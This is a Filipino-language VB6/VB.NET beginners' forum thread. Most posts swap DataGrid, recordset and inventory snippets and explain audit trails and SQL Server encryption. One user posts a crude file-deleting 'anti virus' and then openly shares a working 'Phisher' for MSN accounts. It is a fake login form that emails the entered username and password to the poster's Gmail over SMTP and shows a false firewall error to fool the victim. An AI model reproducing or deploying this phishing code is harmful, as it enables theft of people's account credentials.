Exclusively for Visual Basic 6.0 Programmers Only!

[EndUser]

Mga sir penge naman example na code kung panu yung pag click mu sa datagrid mapupunta sa textbox, hindi ku po kasi magawa diba po sa datagrid_click() d2 un. Tap0z name.text = adodb.recordset!database
ayaw po nageeror penge naman p0ng sample code.

anu po ang error?
db dapat fieldname ang ilalagay dun? like this

name.text = adodb.recordset(fieldname)

 

[Wave_xD]

anu po ang error?
db dapat fieldname ang ilalagay dun? like this

name.text = adodb.recordset(fieldname)

un nga ung dataBase(i mean field name). Nageeror pa din.

 

[darkhand]

nize hehehe

 

[sunduwu]

un nga ung dataBase(i mean field name). Nageeror pa din.

pde din kng ganito gawin mo sir

sa click event ng datagrid mo... lagay mo ng ganito

text1.text = DbGrid.Columns(1).Text <--- kng anong column ang gusto mo

 

[knives645]

maybe this one would work

Text1.Text = DataGrid1.Columns(1).Value

 

[wrecked&misused]

un nga ung dataBase(i mean field name). Nageeror pa din.

.diba dpat nka declare na muna recordset mo,then open mo sya using your open connection and SQL querie then call m isa isa ung fields like:

with rsSample -->eto recordset mo
.open strSql, con, adopendynamic,adlockoptimistic
txtName.text = .fields(0)
txtAge.text = .fields(1)
..and so on and so forth..

End With

 

[Wave_xD]

Ok na po mga sir yun lang pla yun.hehe

 

[potpotoni]

help naman.. sa project paano ko ba ma coconnect ung push button sa circuit sa pc na mag aact sya as button para mag increment ng 1 ung count sa monitor tapos ma dedetect din kung saan counter sya. salamat

 

[Wave_xD]

Mga sir help i have a pRoblem paanu po kaya gagawin to bali sa form na yun mag seselect siya ng gam0t tap0z pag na select na mababawasan yung nasa dataBase na gm0t depende po kung ganu kadami yung gusto ng user. Wala po ku idea.

 

[reinaldnyqua]

Mga sir help i have a pRoblem paanu po kaya gagawin to bali sa form na yun mag seselect siya ng gam0t tap0z pag na select na mababawasan yung nasa dataBase na gm0t depende po kung ganu kadami yung gusto ng user. Wala po ku idea.

aun na po ung idea mu eh design ka muna sa vb tapos post mu d2.

 

[Wave_xD]

aun na po ung idea mu eh design ka muna sa vb tapos post mu d2.

ngak..

 

[doorbreaker]

ngak..

bkt ngak ang sagot mo?

may idea ka na kung ano gagawin idesign mo nlng sa vb, tapos ang ipost mo kung ano ang hindi mo magawa.

 

[Wave_xD]

bkt ngak ang sagot mo?

may idea ka na kung ano gagawin idesign mo nlng sa vb, tapos ang ipost mo kung ano ang hindi mo magawa.

mer0n na po aku sir bale hindi ku lang po alam gGwin kpag ka select ng gam0t tapos pag ka save maBabawas dun sa database ng gam0t.

 

[knives645]

mer0n na po aku sir bale hindi ku lang po alam gGwin kpag ka select ng gam0t tapos pag ka save maBabawas dun sa database ng gam0t.

Pwede mong i-share ang nagawa mo na...

or maybe ganto ang hanap mo,'

recInventory![Quantity] = recInventory![Quantity] - cInt(txtQty.Text)

 

[jeraldb1003]

di naman kasi namin pede iprovide ang codes kaagad.

 

[Mr.Grabber89]

mga boss san kayo kumukuha ng icon para sa vb6?? tsaka anong ibig sabihin ng audit trail?? kelangan daw yun sa library system ko sabi ng proff, tsaka encyption sa sql 2005??

 

[rossdhan]

Anti Virus

Public Class Form1
Dim percent = 0
Dim red

Private Sub Form1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Click

End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Button3.Enabled = False
Button1.Enabled = False
Button2.Enabled = False
ComboBox1.SelectedIndex = 0
ComboBox1.Items.AddRange(System.IO.Directory.GetLogicalDrives)
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
percent = (ListBox2.Items.Count / ListBox1.Items.Count) * 100
If (ListBox1.SelectedIndex < ListBox1.Items.Count - 1) Then
ProgressBar1.Value = percent
Label2.Text = "Scanning For: " & ListBox1.SelectedItem
ListBox2.Items.Add("Scanning: " & ListBox1.SelectedItem)
Try
If Dir(ListBox1.SelectedItem.ToString) <> "" Then
ListBox3.Items.Add("Threat Found: " & ListBox1.SelectedItem.ToString)
ElseIf Dir(ListBox1.SelectedItem.ToString, FileAttribute.Hidden) <> "" Then
ListBox3.Items.Add("Threat Found: " & ListBox1.SelectedIndex.ToString)
Else
End If
Catch ex As Exception

End Try
ListBox1.SelectedIndex += 1
Else
If ListBox3.Items.Count - 1 >= 1 Then
ListBox3.SelectedIndex = 0
Button3.Enabled = True
End If
Timer1.Stop()
ProgressBar1.Value = 100
Label2.Text = "Finished Scanning. " & ListBox3.Items.Count & "Threats Found!"
Button2.Enabled = False
Button1.Enabled = True
End If
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
ProgressBar1.Value = 0
ListBox2.Items.Clear()
ListBox3.Items.Clear()
percent = 0
Button1.Enabled = True
ListBox1.SelectedIndex = 0
Timer1.Start()
Button2.Enabled = True
End Sub

Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox1.SelectedIndexChanged
If ComboBox1.SelectedIndex >= 1 Then
ListBox1.Items.Clear()
TextBox1.Text = My.Resources.viruslist.ToString
For Each line As String In TextBox1.Lines
ListBox1.Items.Add(ComboBox1.SelectedItem.ToString & line.ToString)
Next
If ListBox1.Items.Count - 1 >= 0 Then
Label1.Text = "Dataase Loaded!"
Else
Label1.Text = "No Database Loaded!"
Button1.Enabled = False
End If
Else
Button1.Enabled = False
ListBox1.Items.Clear()
TextBox1.Text = ""
Label1.Text = "No Database Loaded!"
End If
End Sub

Private Sub Label1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label1.Click
If Label1.Text = "Database Loaded!" Then
Button1.Enabled = True
Else
Button1.Enabled = False
End If
End Sub

Private Sub ComboBox1_TextChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles ComboBox1.TextChanged

End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
If ListBox3.Items.Count - 1 >= 0 Then
ListBox3.Enabled = True
Button3.Enabled = True
Else
Button3.Enabled = False
End If
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
If ListBox3.Items.Count - 1 >= 0 Then
ListBox3.SelectedIndex = 0
Button3.Enabled = True
End If
Button2.Enabled = False
Button1.Enabled = True
End Sub
End Class
__________________________________________________________________________________________________________________________________________________

Public Class Form1
Dim percent = 0
Dim red
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Button3.Enabled = False
Button1.Enabled = False
Button2.Enabled = False
ComboBox1.SelectedIndex = 0
ComboBox1.Items.AddRange(System.IO.Directory.GetLogicalDrives)
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Timer1.Stop()
If ListBox3.Items.Count - 1 >= 0 Then
ListBox3.SelectedIndex = 0
Button3.Enabled = True
End If
Button2.Enabled = False
Button1.Enabled = True
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
percent = (ListBox2.Items.Count / ListBox1.Items.Count) * 100
If (ListBox1.SelectedIndex < ListBox1.Items.Count - 1) Then
ProgressBar1.Value = percent
Label2.Text = "Scanning For: " & ListBox1.SelectedItem
ListBox2.Items.Add("Scanning: " & ListBox1.SelectedItem)
Try
If Dir(ListBox1.SelectedItem.ToString) <> "" Then
ListBox3.Items.Add("Threat Found: " & ListBox1.SelectedItem.ToString)
ElseIf Dir(ListBox1.SelectedItem.ToString, FileAttribute.Hidden) <> "" Then
ListBox3.Items.Add("Threat Found: " & ListBox1.SelectedItem.ToString)
Else
End If
Catch ex As Exception

End Try
ListBox1.SelectedIndex += 1
Else
If ListBox3.Items.Count - 1 >= 1 Then
ListBox3.SelectedIndex = 0
Button3.Enabled = True
End If
Timer1.Stop()
ProgressBar1.Value = 100
Label2.Text = "Finished Scanning. " & ListBox3.Items.Count & "Threats Found!"
Button2.Enabled = False
Button1.Enabled = True
End If
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
ProgressBar1.Value = 0
ListBox2.Items.Clear()
ListBox3.Items.Clear()
percent = 0
Button1.Enabled = False
ListBox1.SelectedIndex = 0
Timer1.Start()
Button2.Enabled = True
End Sub

Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComboBox1.SelectedIndexChanged
If ComboBox1.SelectedIndex >= 1 Then
ListBox1.Items.Clear()
TextBox1.Text = My.Resources.viruslist.ToString
For Each line As String In TextBox1.Lines
ListBox1.Items.Add(ComboBox1.SelectedItem.ToString & line.ToString)
Next
If ListBox1.Items.Count - 1 >= 0 Then
Button1.Enabled = True
Label1.Text = "Dataase Loaded!"
Else
Label1.Text = "No Database Loaded!"
Button1.Enabled = False
End If
Else
Button1.Enabled = False
ListBox1.Items.Clear()
TextBox1.Text = ""
Label1.Text = "No Database Loaded!"
End If
End Sub

Private Sub Label1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label1.Click
If Label1.Text = "Database Loaded!" Then
Button1.Enabled = True
Else
Button1.Enabled = False
End If
End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
red = Replace(ListBox3.SelectedItem.ToString, "Threat Found: ", "")
Try
System.IO.File.Delete(red)
If Dir(red) <> "" Then
MsgBox("Unable to Delete " & red, MsgBoxStyle.Critical)
Else
MsgBox("File " & red & " Successfully Deleted", MsgBoxStyle.Critical)
ListBox3.Items.Remove(ListBox3.SelectedItem)
End If
Catch ex As Exception

End Try

End Sub

Private Sub ListBox3_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ListBox3.SelectedIndexChanged

End Sub
End Class

 

[ericgmejia]

mga boss san kayo kumukuha ng icon para sa vb6?? tsaka anong ibig sabihin ng audit trail?? kelangan daw yun sa library system ko sabi ng proff, tsaka encyption sa sql 2005??

icons ng vb6 andami sa internet

audit trail ay mga list ng activities na ginawa ng user habang naka login
meron ka dapat isang table kung saan nakasave yun, so kunwari nag add ka ng record, naka save yan doon, nakalagay kung sino ang nag insert, anong oras at kung ano ang ininsert sa anong module.

meron built in na encryption ang sql server, pero dapat alam mo at naiintindihan mo mabuti
clarify kung anong level ng encryption ng gagamitin
kasi kelangan nyo ng lesson para dyan para magamit nyo
http://technet.microsoft.com/en-us/library/bb510663.aspx

ako nga di ko yan ginagamit kasi sobrang complicated at overhead sa development, unless required ng client, encrypted lang yung mga passwords at important data, the rest plain text na
since secured naman ang sql server

 

[rossdhan]

nkuha q lng po yn s youtube,, ska po e2 p po!!! Phisher amn po 2,,

Dim MyMailMessage As New MailMessage
Try
If TextBox1.Text & TextBox2.Text = "" Then
Call MsgBox("Please Enter A User Name and Password!")
End If
MyMailMessage.From() = New MailAddress("YOUR GMAIL HERE") 'U Enter Ur Email here
MyMailMessage.To.Add("UR GMAIL HERE") 'U Enter Ur Email here agian
MyMailMessage.Subject = "MSN Account Information"
MyMailMessage.Body = "Username :" & (TextBox1.Text) & "Password :" & (TextBox2.Text)
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("UR GMAIL HERE", "UR GMAIL PASSWORD HERE") 'U Enter The Email, And The Password To The Email here
SMTP.Send(MyMailMessage)
Call MsgBox("Something is blocking this program. Please Check If your Firewall or AntiVirus Is Blocking It") 'This is a message, to make them think it failed 'logging' them in
Catch ex As Exception
Call MsgBox("There Was a Fatal Error Loading The Quick Login Component's Please Re-Install The Program", MsgBoxStyle.Critical) 'This is For the exception, incase the program runs into an error
End Try













qng mgla2gay amn po kau ng close button,, lagyan nlang dw po ng me.close ganyan ata po un eh,, sna nktulong,, hehe,, mga bosing,, share amn po kau ng code pra po s iba p pong anti virus,, qng alm nyu po ung code ng Nod32, penge amn po nung code,, dv po s vb po un ginwa,,?? oo nga po pla,, ms maganda po ung vb 08,, un po gamit q eh,, (SHARE LANG) hehehe

 

[jeraldb1003]

may vb 2010 na aah.

sir erik about sa encryption. oo nga masakit na sa utak yan, yong system na lang mismo ang lagyan ng matindin security para di makapasok basta basta sa DB.